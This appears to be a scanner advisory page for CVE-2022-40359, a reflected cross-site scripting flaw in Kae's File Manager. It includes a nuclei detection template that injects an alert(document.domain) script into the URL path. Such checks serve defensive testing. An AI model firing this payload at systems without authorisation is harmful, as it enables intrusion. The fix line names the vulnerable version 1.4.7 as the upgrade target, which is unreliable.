Kae's File Manager <=1.4.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.

How to confirm it

Send: GET /kfm/index.php/'<script>alert(document.domain);</script>
Positive when: contains "<script>alert(document.domain);</script>" and "x_kfm_changeCaption" and "kfm_copyFiles" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-40359 -u <target>

The full check

id: CVE-2022-40359

info:
  name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
  author: edoardottt,daffainfo
  severity: medium
  description: |
    Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2022090057
    - https://code.google.com/archive/p/kfm/downloads
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40359
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-40359
    cwe-id: CWE-79
    epss-score: 0.01824
    epss-percentile: 0.78974
    cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kfm_project
    product: kfm
  tags: cve,cve2022,xss,kfm,kfm_project,vuln

http:
  - raw:
      - |
        GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "x_kfm_changeCaption"
          - "kfm_copyFiles"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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